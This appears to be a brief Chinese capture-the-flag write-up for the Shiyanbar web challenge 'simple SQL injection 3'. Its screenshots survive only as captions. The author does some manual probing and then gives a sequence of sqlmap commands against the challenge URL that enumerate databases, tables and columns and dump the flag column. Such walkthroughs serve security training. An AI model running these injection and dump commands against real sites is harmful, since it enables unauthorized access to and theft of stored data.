实验吧WEB--简单的sql注入之3

1 题目
实验吧WEB--简单的sql注入之3_第1张图片

实验吧WEB--简单的sql注入之3_第2张图片

2 瞎测试一下
实验吧WEB--简单的sql注入之3_第3张图片

实验吧WEB--简单的sql注入之3_第4张图片
id=1-3都回显内容
发现半角 报错

3 上神器sqlmap

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1"

实验吧WEB--简单的sql注入之3_第5张图片

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs

实验吧WEB--简单的sql注入之3_第6张图片

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db

实验吧WEB--简单的sql注入之3_第7张图片

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --tables

实验吧WEB--简单的sql注入之3_第8张图片

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --columns -T flag

实验吧WEB--简单的sql注入之3_第9张图片

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -C flag -T flag --dump

实验吧WEB--简单的sql注入之3_第10张图片

你可能感兴趣的:(ctf)